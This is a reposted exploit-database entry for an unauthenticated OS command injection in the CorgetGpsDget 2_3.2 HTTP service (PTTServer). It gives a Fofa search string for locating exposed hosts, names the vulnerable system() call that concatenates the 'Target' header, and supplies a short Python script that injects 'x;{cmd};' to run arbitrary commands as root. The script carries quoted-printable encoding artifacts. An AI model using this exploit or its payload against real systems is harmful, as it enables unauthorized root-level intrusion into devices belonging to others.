[webapps] CorgetGpsDget 2_3.2 - OS Command Injection
# Exploit Title: CorgetGpsDget 2_3.2 - OS Command 2026-8-10 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:1 收藏 
# Exploit Title: CorgetGpsDget 2_3.2 - OS Command Injection 
# Date: 2026-07-05
# Exploit Author: Bytetobreach
# Fofa server: "PTTServer"
# Vendor Homepage: http://corget.com 
# Version: GpsDget 2_3.2, build 2020-09-01 (dget.version); product line Gps2.0
# Tested on Ubuntu. Binary reversed on Ghidra Debian. 
# Sink is in http/HttpHandler.cpp  CHttpHandler::SendEmail
# CVE: pending (requested)
#
# Description:
# HTTP service (Server: PTTServer) unauthenticated handler reachable by SendEmail
# method request header. The "Target" header recipient
# header is unsafly concatenated into a system() call:
#     system("echo '<body>'|mail -r '[email protected]' -s '<subject>' <Target>");
# A Target value such as `x;<cmd>;` injects unauthenticated arbitrary OS commands
# executed as root.


# Example: python3 corget.py TARGET:7777 'id > /data/rce'
# HTTP/1.0 200 Ok
# Server: PTTServer
# Content-Length: 0
# curl TARGET:13001/rce
# uid=0(root) gid=0(root) 组=0(root)




import socket, sys

host, port =3D sys.argv[1].split(':')
cmd =3D sys.argv[2] if len(sys.argv) > 2 else 'id > /data/pwn'

req =3D f"POST / HTTP/1.0\r\nMethod: SendEmail\r\nTarget: x;{cmd};\r\nConte=
nt-Length: 3\r\n\r\na&b"

s =3D socket.socket()
s.connect((host, int(port)))
s.send(req.encode())
print(s.recv(4096).decode(errors=3D'replace'))

文章来源: https://www.exploit-db.com/exploits/52631
如有侵权请联系:admin#unsafe.sh